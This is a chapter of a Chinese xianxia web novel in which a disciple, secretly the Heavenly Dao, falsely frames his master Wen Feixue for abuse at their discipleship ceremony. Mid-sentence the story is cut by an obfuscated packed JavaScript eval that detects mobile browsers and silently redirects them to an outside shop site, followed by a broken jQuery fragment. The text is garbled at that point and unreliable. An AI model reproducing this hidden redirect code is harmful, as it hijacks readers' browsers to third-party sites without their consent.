4. 大典终了
    看见温飞雪离开,黑衣人脸上笑意散去,随手将玉盒往后一抛:“喏,你家主子要的东西。”

    后堂走出一个慌张的老人,佝偻着背,一把接住了即将落在地上的玉盒:“你这是做什么,若是摔坏了可就了不得了!”

    “要是那么容易摔坏,你家主子还会要这东西?他要这花,不就是图的它坚韧,能受住你家主子那古里古怪的灵气吗?”黑衣人翻个白眼,也转身离开。

    老者没有说些什么,只是站在原地摇了摇头,最后捧着玉盒,匆匆离去。

    没成想到了地方,却只见得被鲜血染红的宫殿墙壁,那些他熟悉的、鲜活的人,此刻却躺在血泊中,死不瞑目。

    “咚”,一直被他小心翼翼捧在手上的玉盒砸在脚面,滚落在地,可他丝毫不觉。

    这………这是发生什么了,是什么人,竟然敢屠了筑影阁分阁?

    他们不怕阁主报复吗?

    对了,阁主!

    阁主,阁主呢,阁主怎么样了?!

    连滚带爬地闯进宫殿,看见空空如也的大厅和内室,老者猛地匍匐在地,颤声痛哭:“阁主……”

    这厢温飞雪回了洛隐门,也没顾得上去雪见峰把他那乖乖小徒弟接回来,径直回了霆霓峰,把自己关在清心室内,整整三天三夜,除了吃饭就是拿着刻刀对着那玉石捣鼓,最后终于做出一块雕刻着符文的浅蓝色玉牌。

    温飞雪又捏着玉牌,细细端详半晌,确认没有问题之后,才心满意足的将玉牌收入袖中,回听松苑补觉。

    又昏天黑地地睡了一天一夜,温飞雪才有空去瞧瞧他那小徒弟。

    倒是也不用去接,毕竟莫怀夕一知道他回来了,就火烧屁股似的把陆言卿打包好送回了霆霓峰。

    “小卿卿,这么多天没有见着我,有没有想师尊呀?”温飞雪睡饱了,语气欢快。

    陆言卿才不给他面子,张口便答:“雪见峰师兄们每天都陪我玩儿,哪儿有空想你。”

    温飞雪做捧心状:“小卿卿这般说,可叫我好生伤心。师尊在外面,可是时刻想着你呢。”一边说着,一边上手去捏陆言卿肉嘟嘟的小脸蛋。

    陆言卿脸被捏住,说话都有些含混不清。看着温飞雪颇为混账的笑,控诉道:“泥灰来豆布来看窝(你回来都不来看我),就孜道碎大觉(就知道睡大觉),拿梨想则窝了(哪里想着我了)?!”

    他一边说,一边可劲儿扒拉温飞雪在他脸上作怪的手。

    温飞雪也不逗他了,顺势收回放在他脸上的手,转而牵住他的手:““走吧,师尊带你去走走大典时的流程。等到那天,为师可不能陪着你走了。”

    才走到一半,陆言卿就开始抱怨,觉得路程太长,并且对温飞雪可以直接御剑飞上去表达了强烈的不满与嫉妒,惹得温飞雪又玩心大起,笑着揉他的头,直将他头发揉得乱糟糟的才作罢。

    “这就嫌累啦,你看看你那些师伯,哪一个不是这样过来的?但凡是亲传弟子,这条路总要走上那么一遭。你师尊我当年走这条路的时候,大气儿都不带喘一下的呢。作为我温玠之的徒弟,怎么可以连我都比不过,那岂不是太丢人了。”

    “你是你,我是我,比不上就比不上,反正我是不想走这条路的。再说,主峰后山不是有一条捷径吗,我直接走那里上来不就好了?”

    陆言卿一脸无所谓加不服气,张嘴就反驳。

    “好了好了,不和你说了。你要是想走后山的捷径倒也可以,只是别被别人发现就成。话说,你怎么知道后山有条捷径。为师当年也是直到金丹后才发现那条路……”

    两人的身影渐行渐远,头顶枝叶扶疏,伴随着微风轻轻摇曳,漏下一地细碎的阳光,像铺了一层绒绒的毯。一大一小两只手交握得严丝合缝,鸟鸣虫叫都像是在为这对师徒祝福。

    大典当天,温飞雪早早便换上要穿的冠服,来到主峰。往日最坐不住的他今天却在主位上坐了很久,内心满是忐忑,抓着扶手的手心一片潮湿。

    感觉到自己现在的状态,温飞雪忍不住内心发笑:他堂堂素尘仙尊,化神期高手,今日就收个徒弟,怎么现在像没见过世面的毛头小子娶喜欢的姑娘一样,心跳加速,掌心发汗?

    不得不说,素尘仙尊这打比方和联想的能力确实是强得令人发指。

    看着渐渐变得晃眼的太阳,再瞅一眼不远处摆放着的巨大的日晷,温飞雪的心跳得越发快:算算时辰,拜师大典也快正式开始了。

    虽说他是收亲传弟子,其实也不必如此大张旗鼓,昭告天下,直接让陆言卿走上来后,当着各位师伯的面,对他行了拜师礼,敬了拜师茶也就够了。

    但温飞雪对这种阵仗一点也不满意:他好不容易收一个徒弟,自然是要让天下皆知,让众人都知道,陆言卿,是他温飞雪的弟子,是他素尘仙尊温玠之罩着的人,这样才够。

    “铛——铛——铛——”随着主殿上荡开的钟声,宾客鱼贯而入,在安排好的位置坐下,安安静静的。现在还不到他们举杯祝贺的时候,还要等素尘仙尊那位名不见经传的小弟子。

    不管众人心中想法如何,但现在脸上都是一致的微笑,似乎发自内心地对这件事感到喜悦。

    温飞雪紧张地盯着殿门,却等到了一个衣衫不整,踉踉跄跄跑进来的小徒弟。

    不顾众人神色各异的目光,陆言卿迈着小腿儿,迅速冲到了温飞雪面前。接着以迅雷不及掩耳之势跪下,一把攥住了温飞雪的衣摆,声音惊惶:

    “师,师尊,我,我不是故意起晚的,你,你别打我好不好?”

    随着他的动作,本就松垮的衣袖似乎在不经意间滑落,露出伤痕累累的肌肤。

    陆言卿察觉到众人的眼神落在他的手臂,忙将袖子重新扯上去,慌乱解释:“这,这是我自己不小心摔的!和师尊没有关系!”

    此话一出,简直是欲盖弥彰。

    众人没想到,来参加个典礼,还能听到一次惊人的仙门秘闻。席间开始响起窃窃私语声:“真是没想到,坊间那些传闻竟然是真的!”

    “这么小的孩子,素尘竟然下得去手,对于我平日里还与他关系颇好,却没能看透他的真面目,这心机城府也太深了些!”

    “真是错看他了!”

    “简直是衣冠禽兽!”

    ……

    议论声此起彼伏,陆言卿的目的也彻底达到。

    谁叫温飞雪不敬天道,还敢在渡劫时嘲讽他呢。

    恰好他下凡历劫之期在即,不若早点下来,给温飞雪一点苦头吃。

    过后他自然会清除除了温飞雪之外其他人的记忆。

    但不知

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175253|138907||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    为什么,听见这些讨论,他却平白无故地感到愤怒。

    这些本来就是他一手策划,现在的局面如他所愿,他应该高兴的,不是吗?

    他为什么会感到愤怒呢?

    为什么呢?

    压下心底汹涌的情绪后,陆言卿看见手里仍旧攥着的衣摆,倏地意识到,作为这场闹剧的另一个主人公,温飞雪至始至终都没有说半个字,安静得过分。

    他猛地抬头,望向温飞雪。

    温飞雪低头与他对视,眼中情绪翻涌,晦涩不清。

    良久,温飞雪突然笑了。

    陆言卿被这笑晃花了眼,默不作声。

    满殿的人也因为这一声意味不明的笑重新归于岑寂。所有人都看着温飞雪,等着他的反应。

    众目睽睽之下,温飞雪站起身,扯掉陆言卿手中的衣摆。

    他不知道自己现在是什么心情,是愤怒,失望,亦或是难堪?或许都有吧。

    毕竟第一次收徒,欢欢喜喜地把他认为最好的东西捧出来,用尽心思地准备拜师礼。

    结果人家呢?

    人家根本就不稀罕他这个师尊。他在为大典准备的时候,人家怕也是冥思苦想着如何摆脱他这个师尊吧?

    他不知道为什么陆言卿对自己会有这么大的恶感,但现在原因已经不再重要。

    他扫视过阶下神色各异的众人,最后目光停留在陆言卿身上,嘴角弧度渐淡,直至消失。

    那双总是盛着笑意的眼眸第一次只剩下冷漠。

    陆言卿突然觉得难过,他不想,不想温飞雪用这样毫无温度的眼神看着他。

    强烈的后悔之意漫过四肢百骸,啃噬心脏。

    虽说只有不长时间的朝夕相处,但对于一个长久困居于九天之上,不见人烟的人来说,却是弥足珍贵,千万年的漫长光阴不及一瞬。

    他想说什么,却听得温飞雪开口:“是,是我温玠之心狠手辣,对徒弟下此狠手。我自知卑劣无耻,不配作陆言卿师尊,耽误他惊才绝艳的天赋。我走便是。”

    陆言卿几乎有些茫然:他为什么会承认,像他这样位居高位的人不是最在意自己的名声了吗,他为什么会承认呢,怎么会呢?

    紧接着便是恐慌:什么叫不配,他是……是不要他了吗?真的不要他了吗?是真的,不要他了?

    他想要解释,可又无从开口。

    应该怎么说呢?说他一个小孩子,可以凭借天道规则之力,清除所有人的记忆?

    还是和他说,自己之所以这么做,是因为心胸狭隘,再加上不想再重复无聊的差事,听到他渡劫时嘲讽了自己几句,就趁着历劫之期,就忍不住下凡来报复?

    说不出口,说不出口,全都说不出口。

    他该怎么办?

    他想挽留,但温飞雪已经转身离去,为了庆典而穿的喜庆的金线白袍被风吹起,勾勒出他单薄的身形,越发显得背影萧条。

    薄云蔽日,黯淡的光芒在地上投出一个浅淡孤单的黑影,温飞雪走在宽阔的大路中央,身侧无人,只有枝叶扶疏,鸟鸣恹恹。

    仿佛他自始至终都是孤身一人。

    等陆言卿从困惑中回神,想起来追上去的时候,已经晚了,他再也找不见温飞雪的身影。

    他好像,把他的师尊弄丢了。